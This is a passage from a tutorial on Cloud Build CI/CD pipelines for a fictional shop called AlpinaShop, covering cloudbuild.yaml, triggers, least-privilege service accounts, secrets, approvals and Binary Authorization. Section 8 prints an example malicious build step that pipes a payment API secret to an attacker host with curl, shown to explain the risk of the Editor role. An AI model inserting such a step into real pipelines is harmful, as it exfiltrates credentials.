There is an application, there is data and there are models. And everything depends on two people remembering to run things. This module starts right there, and it starts with the most fragile link in the whole chain: how Dani's code reaches production.

The current answer is uncomfortable to write down. Dani opens a terminal on his laptop, runs docker build, waits a few minutes, runs docker push against Artifact Registry and then manually launches kubectl set image on alpinashop-cluster. If he happens to have a different dependency installed that day, the image comes out different. If he forgets to run the tests, nobody runs them. If he is off sick, nobody deploys. And if something breaks in production, the only way to know which version is running is to ask him.

This lesson puts an end to that. You are going to build an automatic process that, on every code change, installs dependencies, runs the tests, analyses the code, builds a reproducible image, publishes it tagged with the exact commit identifier and deploys it to development without anyone touching a terminal. And you are going to understand why each piece is where it is, which is what separates copying a cloudbuild.yaml from knowing how to design one.

Contents

  1. The real problem: how AlpinaShop deploys today
  2. Continuous integration and continuous delivery: what they really mean
  3. What Cloud Build is and how it runs things
  4. The cloudbuild.yaml file field by field
  5. AlpinaShop's catalogue pipeline, step by step
  6. Build cache: why your build takes eight minutes
  7. Triggers: what launches the build and when
  8. Cloud Build's service account and the Editor anti-pattern
  9. Secrets during the build with Secret Manager
  10. Promotion between environments and manual approvals
  11. Private worker pools inside the VPC
  12. Cloud Deploy: managed progressive delivery
  13. Vulnerability scanning and Binary Authorization
  14. Module 5's ML pipeline, taken to level 2
  15. The cost of builds

  1. The real problem: how AlpinaShop deploys today

It is worth writing down the current procedure exactly as Dani would if somebody asked him to document it:

# AlpinaShop's "deployment procedure", 2025 edition
git pull
python -m pytest            # optional, depending on how rushed we are
docker build -t catalogo .
docker tag catalogo europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
docker push europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
kubectl set image deployment/catalogo-web \
  catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest \
  -n tienda

Six commands. They look harmless. They contain five serious problems:

Problem Concrete consequence
The tests are "optional, depending on how rushed we are" The day there is a rush is exactly the day something breaks
The image is built on Dani's laptop His local Python, his dependencies, his cache: it is not reproducible
The tag is latest Nobody can know what code is in production or roll back
There is no separation between development and production What gets tested is not exactly what gets deployed
The process lives in one person's head Bus factor of 1

The third is the most poisonous and it is worth understanding properly. latest is not a version: it is a moving pointer. If the shop fails tomorrow and you want to go back to last week's image, it does not exist: you overwrote it. If you want to know which commit produced the container that is serving requests, there is no way. An immutable tag derived from the commit turns every image into an exact point in the history of the code, and that is the property that makes everything else possible: diagnosis, auditing and rollback.

  1. Continuous integration and continuous delivery: what they really mean

The two terms get used as if they were one, and they are not.

Continuous integration (CI) is the practice of integrating everyone's work into the main branch frequently — ideally several times a day — and verifying every integration automatically. Its product is not a deployment: it is a fast answer to the question "does this change break anything?". If the answer takes two days, it stops being useful, because by then there are ten more changes on top and you no longer know which one broke it.

Continuous delivery (CD) is the practice of keeping the software always in a state where it could be deployed, with deployment automated to the point that launching it is a matter of pressing a button. The decision to press it is still human.

Continuous deployment goes one step further: every change that passes the checks goes to production on its own, with no button.

Practice What it automates Is there a human decision? Does it fit AlpinaShop today?
Continuous integration Build, test, analyse Not needed Yes, right away
Continuous delivery All of the above + deploy on demand Yes, the button Yes, the goal of the module
Continuous deployment Everything, with no intervention No Not yet: tests and observability are missing

AlpinaShop is going to adopt full CI and continuous delivery, with automatic deployment to alpinashop-dev and manual approval before alpinashop-prod. Continuous deployment to production is a legitimate goal, but it requires a safety net — test coverage, reliable alerts, automatic rollback capability — that will not exist until after 06-04 and 06-06.

There is one benefit of CI that almost never gets mentioned and that is the most valuable one: it forces the project to be buildable from scratch on a clean machine. The first attempt at writing a CI pipeline always uncovers the same things: a configuration file that only exists on somebody's laptop, a dependency installed by hand two years ago, an environment variable nobody documented. Discovering them hurts, but discovering them in a build is infinitely better than discovering them the day a new person joins or the environment has to be rebuilt in a hurry.

  1. What Cloud Build is and how it runs things

Cloud Build is GCP's managed service for running build processes. Its mental model is surprisingly simple and worth internalising, because it explains all of its behaviour:

A build is a sequence of steps. Each step is a container that runs on a shared working directory called /workspace.

That is all. There is no scripting language of its own, no plugins, no extension model: if you need to run something, you run a container that knows how to do it.

flowchart LR
    A[Trigger:<br/>push to Git] --> B[Cloud Build<br/>clones the repo into /workspace]
    B --> C[Step 1<br/>python container]
    C --> D[Step 2<br/>pytest container]
    D --> E[Step 3<br/>docker/kaniko container]
    E --> F[Step 4<br/>gcloud container]
    F --> G[Artefacts:<br/>image in Artifact Registry]
    C -. same /workspace .-> D
    D -. same /workspace .-> E

The three practical consequences of this model:

  • Everything that persists between steps lives in /workspace. A step that installs packages into its container's /usr/local leaves nothing behind for the next one. A step that writes to /workspace/venv does. This is the detail that causes newcomers the most confusion, and we will come back to it in section 5.
  • Each step can use whatever image it likes. The test step can be python:3.11, the static analysis one golangci-lint, the deployment one gcr.io/google.com/cloudsdktool/cloud-sdk. There is no need to cram everything into one monstrous image.
  • The build runs on Google's ephemeral infrastructure, not on your laptop. A clean machine, always the same, and with an identity of its own (its service account, section 8).

Google publishes builder images (cloud builders) for the usual tools: gcr.io/cloud-builders/docker, gcr.io/cloud-builders/gcloud, gcr.io/cloud-builders/git, gcr.io/cloud-builders/npm. But you are not obliged to use them: any public image or one from your Artifact Registry will do, and in 2026 the general recommendation is to use official ecosystem images (python:3.11-slim, node:22) instead of the cloud-builders ones, which are frozen on old versions.

  1. The cloudbuild.yaml file field by field

The pipeline is declared in a YAML file that lives in the repository, next to the code. Living there is not an organisational detail: it means the build process is versioned, reviewed in a pull request and evolves alongside the code it serves.

This is the complete skeleton with all the fields you are going to use:

steps:
  - name: 'python:3.11-slim'          # image of the container that runs the step
    id: 'instalar'                    # name of the step, to refer to it in waitFor
    entrypoint: 'bash'                # overrides the image's ENTRYPOINT
    args: ['-c', 'pip install -r requirements.txt -t /workspace/lib']
    env:                              # environment variables for this step only
      - 'PIP_DISABLE_PIP_VERSION_CHECK=1'

  - name: 'python:3.11-slim'
    id: 'pruebas'
    waitFor: ['instalar']             # explicit dependencies between steps
    entrypoint: 'python'
    args: ['-m', 'pytest', '-q']

substitutions:                        # your own variables, always with an underscore
  _REGION: 'europe-west1'
  _ENTORNO: 'dev'

images:                               # images Cloud Build will publish at the end
  - 'europe-west1-docker.pkg.dev/$PROJECT_ID/alpinashop/catalogo:$COMMIT_SHA'

artifacts:                            # files uploaded to Cloud Storage
  objects:
    location: 'gs://alpinashop-artefactos/informes/$BUILD_ID/'
    paths: ['informe-cobertura.xml']

options:
  machineType: 'E2_HIGHCPU_8'         # size of the build machine
  logging: CLOUD_LOGGING_ONLY         # where the logs go (see section 8)

timeout: '1200s'                      # maximum total time for the build

Field by field, with what matters about each one:

Field What it does What you need to know
steps Ordered list of steps By default they run serially, in the order written
name Image of the step's container Pin the version with an explicit tag, never latest
entrypoint Overrides the executable Needed when the image already brings its own ENTRYPOINT
args Arguments of the command If you use bash -c, the whole script goes in a single element
env Environment variables of the step For that step only; they do not carry over to the next one
id Name of the step Only useful so that other steps can reference it
waitFor Required preceding steps The key to parallelism, see below
dir Working directory inside /workspace Useful in monorepos
substitutions Build variables Yours must start with _
images Images to publish on completion They are published only if all the steps have succeeded
artifacts Files to upload to Cloud Storage Coverage reports, binaries, and so on
options Global configuration Machine size, logging, service account
timeout Overall limit 60 minutes by default; if it is exceeded, the build fails

waitFor: how a build gets parallelised

By default each step waits for the previous one. With waitFor you declare what each step really depends on, and Cloud Build runs in parallel everything it can:

  - name: 'python:3.11-slim'
    id: 'pruebas'
    waitFor: ['instalar']

  - name: 'python:3.11-slim'
    id: 'lint'
    waitFor: ['instalar']        # also depends on 'instalar', not on 'pruebas'
                                 # → 'pruebas' and 'lint' run IN PARALLEL

  - name: 'gcr.io/kaniko-project/executor:latest'
    id: 'construir'
    waitFor: ['pruebas', 'lint'] # waits for both

There is a special value: waitFor: ['-'] means "do not wait for anybody, start from the beginning". It is useful for independent tasks such as downloading a cache.

Parallelism here is not a micro-optimisation. If the tests take three minutes and static analysis another two, running them at the same time turns a five-minute build into a three-minute one. And the speed of CI determines whether the team uses it: a twenty-minute pipeline eventually gets bypassed; a four-minute one does not.

Substitutions: Cloud Build's and yours

Cloud Build fills in a set of variables automatically:

Variable Contents Typical use
$PROJECT_ID Project where the build runs Artifact Registry paths
$COMMIT_SHA Full SHA of the commit The image tag
$SHORT_SHA First 7 characters of the SHA Readable tags
$BRANCH_NAME Branch that triggered the build Conditional logic by branch
$TAG_NAME Git tag, if the trigger is by tag Release versions
$BUILD_ID Unique identifier of the build Artefact paths, log correlation
$REPO_NAME Name of the repository Monorepos

$COMMIT_SHA and $SHORT_SHA only have a value if the build comes from a trigger connected to a repository. If you launch gcloud builds submit from your machine, they are empty. It is a very common cause of failure: the image gets published with the tag catalogo: and nobody understands why.

Your own substitutions carry a leading _ and are declared in substitutions: with a default value that the trigger can override. That is the mechanism by which a single cloudbuild.yaml serves several environments.

  1. AlpinaShop's catalogue pipeline, step by step

This is the real file that goes at the root of the catalogue repository. Read it in full and then we will take it apart:

substitutions:
  _REGION: 'europe-west1'
  _REPO: 'europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop'
  _SERVICIO: 'catalogo'
  _CLUSTER: 'alpinashop-cluster'
  _NAMESPACE: 'tienda'

steps:
  # 1. Dependencies: installed INSIDE /workspace so that they persist
  - name: 'python:3.11-slim'
    id: 'instalar'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        pip install --upgrade pip
        pip install -r requirements.txt -r requirements-dev.txt \
                    --target=/workspace/lib

  # 2. Unit tests with pytest
  - name: 'python:3.11-slim'
    id: 'pruebas'
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args:
      - '-c'
      - |
        python -m pytest -q --junitxml=/workspace/informe-pruebas.xml \
               --cov=catalogo --cov-report=xml:/workspace/cobertura.xml
        python -m coverage report --fail-under=70

  # 3. Static analysis, IN PARALLEL with the tests
  - name: 'python:3.11-slim'
    id: 'lint'
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args:
      - '-c'
      - |
        python -m ruff check catalogo/
        python -m bandit -r catalogo/ -ll

  # 4. Build the image with kaniko and cache
  - name: 'gcr.io/kaniko-project/executor:v1.23.2'
    id: 'construir'
    waitFor: ['pruebas', 'lint']
    args:
      - '--destination=${_REPO}/${_SERVICIO}:$COMMIT_SHA'
      - '--cache=true'
      - '--cache-ttl=168h'
      - '--dockerfile=Dockerfile'
      - '--context=dir:///workspace/'

  # 5. Deploy to the development environment
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    id: 'desplegar-dev'
    waitFor: ['construir']
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        gcloud container clusters get-credentials ${_CLUSTER} \
          --region ${_REGION} --project alpinashop-dev
        kubectl set image deployment/${_SERVICIO}-web \
          ${_SERVICIO}=${_REPO}/${_SERVICIO}:$COMMIT_SHA \
          -n ${_NAMESPACE}
        kubectl rollout status deployment/${_SERVICIO}-web \
          -n ${_NAMESPACE} --timeout=180s

artifacts:
  objects:
    location: 'gs://alpinashop-artefactos/builds/$BUILD_ID/'
    paths: ['informe-pruebas.xml', 'cobertura.xml']

options:
  machineType: 'E2_HIGHCPU_8'
  logging: CLOUD_LOGGING_ONLY

timeout: '900s'

Step 1, dependencies. The --target=/workspace/lib is the piece that makes this work. Without it, pip would install into the site-packages of the python:3.11-slim container, that container would finish, and step 2 would start a brand-new clean container without the dependencies. With it, the packages stay in the shared directory and step 2 finds them thanks to PYTHONPATH.

Step 2, tests. Two important things. --junitxml produces a report in a standard format that is then uploaded as an artefact — useful for reviewing what failed without diving into the logs. And --fail-under=70 makes the build fail if coverage drops below 70 %. That line is a policy decision, not a technical one: it turns "we should write more tests" into a rule the system enforces. Start with a threshold you already meet and raise it gradually; setting 90 % all at once on a project sitting at 40 % only achieves one thing — somebody deletes the line.

Step 3, static analysis. ruff detects style problems and obvious errors; bandit looks for insecure patterns in Python — embedded credentials, use of subprocess with shell=True, weak cryptographic algorithms. The -ll limits warnings to medium severity or above to avoid noise. Notice that its waitFor points to instalar, not to pruebas: that is why it runs at the same time.

Step 4, build. It uses kaniko instead of docker build, and the reason is twofold: kaniko builds images without needing a privileged Docker daemon, and it comes with integrated remote layer caching. Section 6 goes into detail. The tag is $COMMIT_SHA and latest appears nowhere.

Step 5, deploy to development. The deployment goes to alpinashop-dev, never to alpinashop-prod from this pipeline. And the kubectl rollout status --timeout=180s is essential: without it, the step would finish successfully as soon as Kubernetes accepts the order, even if the new pods go into CrashLoopBackOff thirty seconds later. With it, the build fails if the deployment does not converge, which is exactly what you want to know.

To launch it by hand while you are testing it:

gcloud builds submit --config=cloudbuild.yaml \
  --substitutions=_SERVICIO=catalogo \
  --project=alpinashop-cicd .

Notice the project: alpinashop-cicd. Until now that project was created and empty. Here it starts to make sense: builds run in a project of their own, separate from the environments they deploy to. That makes it possible to give Cloud Build scoped permissions over alpinashop-dev and alpinashop-prod without it living inside them, and it keeps the build history and its logs out of the production projects.

  1. Build cache: why your build takes eight minutes

The first build takes as long as it takes. The following ones should not, and if they take just as long it means there is no cache.

A Docker image is a stack of layers, and each Dockerfile instruction produces one. If a layer has not changed and neither have the previous ones, it can be reused. The problem is that Cloud Build runs each build on a clean machine: there is no local cache to reuse. It has to be brought in from somewhere.

Two mechanisms, with different profiles:

Mechanism How it works When to use it
kaniko with --cache=true Uploads and downloads layers from a cache repository in Artifact Registry, automatically By default, almost always
docker build --cache-from Downloads a previous image and uses it as a layer reference When you need Docker for some other reason

With --cache-from the pattern is this one, and it has a trap:

  - name: 'gcr.io/cloud-builders/docker'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        docker pull ${_REPO}/${_SERVICIO}:cache || true   # the || true is key
        docker build \
          --cache-from ${_REPO}/${_SERVICIO}:cache \
          -t ${_REPO}/${_SERVICIO}:$COMMIT_SHA \
          -t ${_REPO}/${_SERVICIO}:cache .

The || true stops the first build from failing, when no cache image exists yet to download. It is a small detail that breaks a lot of new pipelines.

But the cache only helps if the Dockerfile is ordered to take advantage of it. Compare:

# BAD: any change in the code invalidates the dependency installation
COPY . /app
RUN pip install -r /app/requirements.txt

# GOOD: dependencies are only reinstalled if requirements.txt changes
COPY requirements.txt /app/
RUN pip install -r /app/requirements.txt
COPY . /app

The general rule: from what changes least to what changes most. Dependencies change once a month; the code, twenty times a day. If you copy the code before installing dependencies, every commit reinstalls everything. This three-line change usually cuts more build time than any machine tuning.

The other factor is the size of the machine. The default value is modest; E2_HIGHCPU_8 costs more per minute but can reduce total time enough to come out cheaper, as well as giving the team a faster answer. Measure it before deciding: in builds dominated by network downloads, more CPU adds nothing.

  1. Triggers: what launches the build and when

A trigger is the rule that connects an event in a repository with a cloudbuild.yaml. Without triggers you have a script; with them, continuous integration.

Type Event Use at AlpinaShop
Push to branch Commit on a branch matching a pattern ^main$ → build and deploy to dev
Pull request Opening or updating a PR Build and test without deploying
Tag A Git tag is created ^v\d+\.\d+\.\d+$ → production candidate
Manual Somebody launches it from the console or gcloud One-off rebuilds, migrations
Webhook / Pub/Sub External message ML retraining, see section 14

Creating the main-branch trigger:

gcloud builds triggers create github \
  --name=catalogo-main \
  --repo-name=alpinashop-catalogo \
  --repo-owner=alpinashop \
  --branch-pattern='^main$' \
  --build-config=cloudbuild.yaml \
  --region=europe-west1 \
  --service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
  --project=alpinashop-cicd

And the pull request one, which is what really protects the main branch:

gcloud builds triggers create github \
  --name=catalogo-pr \
  --repo-name=alpinashop-catalogo \
  --repo-owner=alpinashop \
  --pull-request-pattern='^main$' \
  --comment-control=COMMENTS_ENABLED_FOR_EXTERNAL_CONTRIBUTORS_ONLY \
  --build-config=cloudbuild-pr.yaml \
  --region=europe-west1 \
  --project=alpinashop-cicd

The cloudbuild-pr.yaml is the same pipeline without the deployment step: install, test and analyse. Its job is to give a green or red verdict on the pull request before anyone merges it. The --comment-control stops an unknown external contributor from running arbitrary code in your project by opening a PR; in a small team's private repository it matters less, but it is a good habit.

A very useful filter in repositories with several things inside is --included-files, which avoids building the catalogue because somebody fixed a typo in the README:

  --included-files='catalogo/**,requirements*.txt,Dockerfile,cloudbuild.yaml' \
  --ignored-files='**/*.md,docs/**'

The connection with the repository is configured once and only once. AlpinaShop will do it with GitHub through the Cloud Build application, and all the detail — including the Cloud Source Repositories alternative and why it is deprecated — is exactly the subject of 06-02.

  1. Cloud Build's service account and the Editor anti-pattern

This is the section that prevents the most grief.

Every build runs with an identity. Historically Cloud Build used an automatic service account, <project-number>@cloudbuild.gserviceaccount.com, to which Google granted the Editor role over the project. Convenient and catastrophic: it means that anybody who can modify the cloudbuild.yaml can do almost anything in the project. And modifying that file is simply a matter of opening a pull request.

Picture the attack, which requires no special knowledge at all:

# A step added in an apparently innocent pull request
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    entrypoint: 'bash'
    args: ['-c', 'gcloud secrets versions access latest --secret=api-key-pasarela-pago | curl -X POST -d @- https://servidor-del-atacante.example']

If the Cloud Build account has Editor, that step works. That is why, since 2024, new projects no longer receive the Editor role by default and the recommendation is to specify a service account of your own per trigger. And that is why the trigger in section 7 carries --service-account.

The correct configuration for AlpinaShop, with the least privilege principle from 03-04 genuinely applied:

# Account dedicated to the catalogue pipeline, in the CI/CD project
gcloud iam service-accounts create sa-build-catalogo \
  --display-name="Cloud Build - catalogo web" \
  --project=alpinashop-cicd

[email protected]

# Write to Artifact Registry: that and nothing else, on the specific repository
gcloud artifacts repositories add-iam-policy-binding alpinashop \
  --location=europe-west1 --project=alpinashop-prod \
  --member="serviceAccount:${SA}" --role=roles/artifactregistry.writer

# Deploy to the DEVELOPMENT cluster, not to production
gcloud projects add-iam-policy-binding alpinashop-dev \
  --member="serviceAccount:${SA}" --role=roles/container.developer

# Write its own logs
gcloud projects add-iam-policy-binding alpinashop-cicd \
  --member="serviceAccount:${SA}" --role=roles/logging.logWriter

Three roles. Not one more. Notice what it does not have: no permission over alpinashop-prod beyond writing to the image repository, no access to Secret Manager other than what is granted secret by secret, no ability to touch IAM, no ability to delete anything.

There is an operational detail attached to this: when you use a service account of your own, you must specify logging: CLOUD_LOGGING_ONLY in options (or give it a Cloud Storage bucket to write to), because the default behaviour requires permissions that account does not have. It is the first error that shows up when migrating, and the message is not especially clear.

The mental rule worth committing to memory: the CI/CD pipeline is the most privileged system in your infrastructure, because by definition it can deploy code everywhere. Treat it as such. If an attacker has to pick a target at AlpinaShop, they will not pick the website: they will pick this.

  1. Secrets during the build with Secret Manager

Some builds need credentials: a token to publish to a private registry, an API key for an analysis service. What must never happen is for that credential to be written into the cloudbuild.yaml, because that file is in Git and there it stays forever, even if you delete it afterwards.

Cloud Build integrates with Secret Manager (03-06) through availableSecrets:

availableSecrets:
  secretManager:
    - versionName: projects/alpinashop-prod/secrets/token-registro-privado/versions/latest
      env: 'TOKEN_REGISTRO'

steps:
  - name: 'python:3.11-slim'
    id: 'publicar-paquete'
    entrypoint: 'bash'
    secretEnv: ['TOKEN_REGISTRO']      # this step, and only this one, sees the secret
    args:
      - '-c'
      - |
        pip config set global.index-url \
          "https://oauth2accesstoken:[email protected]/alpinashop-prod/pypi/simple/"
        python -m build && python -m twine upload dist/*

Three details you need to understand:

  • $$TOKEN_REGISTRO carries two dollar signs. A single $ would make Cloud Build try to substitute it as if it were one of its own variables, find that it does not exist and leave the string empty. With $$ the value reaches the shell literally, and the shell is what resolves the environment variable.
  • secretEnv is per step. Only the steps that declare it see the secret. A test step has no reason to have access to the publishing token.
  • The build's service account needs roles/secretmanager.secretAccessor on that specific secret, granted in the secret's own policy, not at project level.

And a warning that seems obvious and yet keeps happening: if your script prints the secret, it appears in the logs. Cloud Build does not redact output. A set -x in a bash script or a forgotten debugging echo is enough to leak a credential into Cloud Logging, where anybody with log-read permission can read it. If you suspect it has happened, the correct response is not to delete the log: it is to rotate the secret.

  1. Promotion between environments and manual approvals

The pipeline you have built deploys to alpinashop-dev. Production needs something else, and that something else is called promotion.

The principle is simple and it is the whole reason for the immutable tag:

The image that goes to production is exactly the same one that was tested in development. It is not rebuilt. It is promoted.

If the image were rebuilt from the code in production, it would be a different image — another date, perhaps another version of a transitive dependency — and everything verified in development would stop being valid. What changes between environments is the configuration (variables, secrets, size), not the artefact.

flowchart LR
    A[Push to main] --> B[CI: tests + lint]
    B --> C[Image :SHA in<br/>Artifact Registry]
    C --> D[Automatic deployment<br/>alpinashop-dev]
    D --> E{Manual<br/>approval}
    E -->|Marta approves| F[Deployment<br/>alpinashop-prod]
    E -->|Rejects| G[It stays in dev]
    F --> H[Post-deployment<br/>verification]

The production trigger is created with --require-approval:

gcloud builds triggers create manual \
  --name=catalogo-promocion-prod \
  --repo=https://github.com/alpinashop/alpinashop-catalogo \
  --repo-type=GITHUB \
  --branch=main \
  --build-config=cloudbuild-prod.yaml \
  --require-approval \
  --region=europe-west1 \
  --service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
  --project=alpinashop-cicd

When that trigger fires, the build stays in a pending state until somebody with the roles/cloudbuild.builds.approver role approves it from the console. Marta has it; Dani does not. And that separation is not mistrust: it is the application to deployment of the same principle from 03-04 whereby nobody is owner of production.

Notice too that the production deployment uses a different service account, sa-deploy-prod, which does have permissions over alpinashop-prod. The account that runs the tests and builds the image never has them. If somebody compromises the CI pipeline, they do not reach production without going through a human approval executed with another identity.

The cloudbuild-prod.yaml receives the tag to deploy as a substitution and builds nothing:

substitutions:
  _IMAGEN_SHA: ''        # mandatory: passed in on approval

steps:
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        test -n "${_IMAGEN_SHA}" || { echo "_IMAGEN_SHA is missing"; exit 1; }
        gcloud container clusters get-credentials alpinashop-cluster \
          --region europe-west1 --project alpinashop-prod
        kubectl set image deployment/catalogo-web \
          catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:${_IMAGEN_SHA} \
          -n tienda
        kubectl rollout status deployment/catalogo-web -n tienda --timeout=300s

The test -n check on the first line exists because an empty substitution would produce the tag catalogo:, which fails in a confusing way. It is a three-word guard that saves half an hour of bewilderment.

  1. Private worker pools inside the VPC

By default builds run in a shared Google worker pool, with egress to the internet and no access to your VPC. For AlpinaShop that works until the day an integration test needs to connect to alpinashop-pedidos over a private IP, or the deployment step has to reach an internal endpoint.

A private worker pool is a set of build machines connected to your VPC:

gcloud builds worker-pools create pool-alpinashop \
  --region=europe-west1 \
  --project=alpinashop-cicd \
  --peered-network=projects/alpinashop-prod/global/networks/alpinashop-vpc \
  --worker-machine-type=e2-standard-4 \
  --no-public-egress

And it is used from the cloudbuild.yaml:

options:
  pool:
    name: 'projects/alpinashop-cicd/locations/europe-west1/workerPools/pool-alpinashop'
Aspect Shared pool Private pool
VPC access No Yes, by peering
Internet egress Yes Configurable (--no-public-egress)
Egress IP Google's, variable Fixed, can be allowed in a firewall
Cost Build minutes only Minutes + reserved machines
When to use it By default Tests against private resources, compliance requirements

The --no-public-egress deserves a note: it removes internet egress, which is excellent for security and breaks any step that downloads dependencies from PyPI or images from Docker Hub. If you enable it, you need internal mirrors of those repositories in Artifact Registry. It is a serious decision; for AlpinaShop today the shared pool is enough, and the private one is reserved for when there are integration tests against Cloud SQL.

  1. Cloud Deploy: managed progressive delivery

Cloud Build is excellent at building and acceptable at deploying. When deployment gets complicated — three environments, canary deployment, rollback with one command, a history of which version was where — there is a specific tool: Cloud Deploy.

Cloud Deploy models a delivery pipeline with ordered targets and manages promotion between them:

apiVersion: deploy.cloud.google.com/v1
kind: DeliveryPipeline
metadata:
  name: catalogo-web
serialPipeline:
  stages:
    - targetId: desarrollo
      profiles: [dev]
    - targetId: produccion
      profiles: [prod]
      strategy:
        canary:
          runtimeConfig:
            kubernetes:
              serviceNetworking:
                service: catalogo-svc
                deployment: catalogo-web
          canaryDeployment:
            percentages: [10, 50]      # 10 % → 50 % → 100 %
            verify: true
---
apiVersion: deploy.cloud.google.com/v1
kind: Target
metadata:
  name: produccion
requireApproval: true
gke:
  cluster: projects/alpinashop-prod/locations/europe-west1/clusters/alpinashop-cluster

What it adds over a kubectl set image in Cloud Build:

  • Real canary deployment: 10 % of the traffic goes to the new version, it is verified, it moves to 50 %, it is verified, and only then to 100 %.
  • Rollback with one command, without rebuilding anything, because it knows the history of what was deployed.
  • A record of which version is on which target, which answers the question "what is in production?" without asking anybody.
  • Per-target approvals built in.
Situation Tool
One service, two environments, direct deployment Cloud Build is enough
Several services, three or more environments Cloud Deploy
You need managed canary or blue/green Cloud Deploy
You want an answer to "which version is where" without scripts Cloud Deploy

For AlpinaShop today, with one service and two environments, Cloud Build is enough and adding Cloud Deploy would be complexity with no benefit. It is noted down as the natural next step for when the catalogue moves to Cloud Run in 07-02, where Cloud Deploy fits particularly well because percentage-based traffic splitting is native to the service.

  1. Vulnerability scanning and Binary Authorization

Building the image is not the same as building a secure image. The catalogue's Dockerfile does not use root — good, a module 2 decision — but it drags along dozens of packages from the base system and from PyPI, and any one of them may have a known vulnerability.

Artifact Registry scans images automatically against public vulnerability databases, if the API is enabled:

gcloud services enable containerscanning.googleapis.com --project=alpinashop-prod

# Query the result for a specific image
gcloud artifacts docker images describe \
  europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:$COMMIT_SHA \
  --show-package-vulnerability --project=alpinashop-prod

You can add a step to the pipeline that fails if critical vulnerabilities show up, and there you have to make a decision with a cool head: blocking on any vulnerability of any severity generates so many false positives that the team will end up disabling the check. A reasonable criterion to start with is to block only critical ones with a fix available and review the rest periodically.

Binary Authorization goes one step further and answers a different question: how do I stop an image that has not gone through the pipeline from being deployed to production? Because today, if somebody with permissions runs kubectl set image pointing at an image built on their laptop, the cluster accepts it happily.

The mechanism is attestations: the pipeline cryptographically signs the images it has verified, and a policy in the cluster requires that signature to admit a deployment.

flowchart LR
    A[Cloud Build:<br/>tests OK] --> B[Signs the image<br/>attestation probado-ci]
    B --> C[Artifact Registry]
    C --> D{Binary Authorization<br/>in alpinashop-prod}
    D -->|Has an attestation| E[Deployment admitted]
    D -->|No attestation| F[Deployment REJECTED]
# policy.yaml (simplified)
defaultAdmissionRule:
  evaluationMode: REQUIRE_ATTESTATION
  enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
  requireAttestationsBy:
    - projects/alpinashop-prod/attestors/probado-ci
clusterAdmissionRules:
  europe-west1.alpinashop-cluster:
    evaluationMode: REQUIRE_ATTESTATION
    enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
    requireAttestationsBy:
      - projects/alpinashop-prod/attestors/probado-ci

It is a high-maturity piece and there is no need to adopt it on day one. But it is worth understanding what it solves, because it is the only way for the phrase "only what has gone through the pipeline reaches production" to be a technical guarantee rather than a rule of good intentions. Software supply chain security is picked up again in 07-04.

  1. Module 5's ML pipeline, taken to level 2

In 05-07 an explicit loose end was left. AlpinaShop's recommendation pipeline is at maturity level 1: it runs on its own, validates on its own and decides on its own. But the pipeline's code — the KFP components, the training logic — is still uploaded by hand: Lucía edits the component, runs the KFP compiler on her laptop and uploads the resulting YAML to Cloud Storage.

Level 2 consists of a change in the training code automatically triggering the compilation of the pipeline, its execution in Vertex AI and, if it clears the gates, the deployment of the model. It is exactly the same thing you have just done with the catalogue, applied to ML code:

# cloudbuild-ml.yaml, in AlpinaShop's ML repository
substitutions:
  _REGION: 'europe-west1'
  _BUCKET: 'alpinashop-datalake'

steps:
  # 1. Component tests: they are ordinary Python code and are tested the same way
  - name: 'python:3.11-slim'
    id: 'pruebas-componentes'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        pip install -r requirements.txt -t /workspace/lib
        PYTHONPATH=/workspace/lib python -m pytest tests/ -q

  # 2. Build the training image, tagged with the SHA
  - name: 'gcr.io/kaniko-project/executor:v1.23.2'
    id: 'imagen-entrenamiento'
    waitFor: ['pruebas-componentes']
    args:
      - '--destination=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA'
      - '--cache=true'
      - '--dockerfile=entrenamiento/Dockerfile'

  # 3. Compile the KFP pipeline into its YAML definition
  - name: 'python:3.11-slim'
    id: 'compilar-pipeline'
    waitFor: ['imagen-entrenamiento']
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        PYTHONPATH=/workspace/lib python pipelines/compilar.py \
          --imagen-entrenamiento=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA \
          --salida=/workspace/pipeline-reco.yaml

  # 4. Publish the definition and launch a validation run
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    id: 'ejecutar-pipeline'
    waitFor: ['compilar-pipeline']
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        gsutil cp /workspace/pipeline-reco.yaml \
          gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml
        PYTHONPATH=/workspace/lib python pipelines/lanzar.py \
          --plantilla=gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml \
          --etiqueta-commit=$SHORT_SHA

timeout: '2400s'

What matters is not the YAML, it is the change in behaviour it produces:

Before (level 1) After (level 2)
Lucía compiles the pipeline on her laptop Cloud Build compiles it on a clean machine
The components have no tests pytest over the components on every change
The training image is tagged by hand Tagged with the $COMMIT_SHA
Nobody knows which code produced which model The SHA is in the lineage, linked to 05-07
A change reaches production when somebody remembers It gets there on its own, if it clears the decision gates

